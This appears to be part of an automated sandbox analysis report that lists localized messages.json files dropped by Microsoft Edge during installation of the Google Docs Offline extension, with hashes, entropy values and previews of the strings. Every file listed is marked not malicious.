Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2460_103179490\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
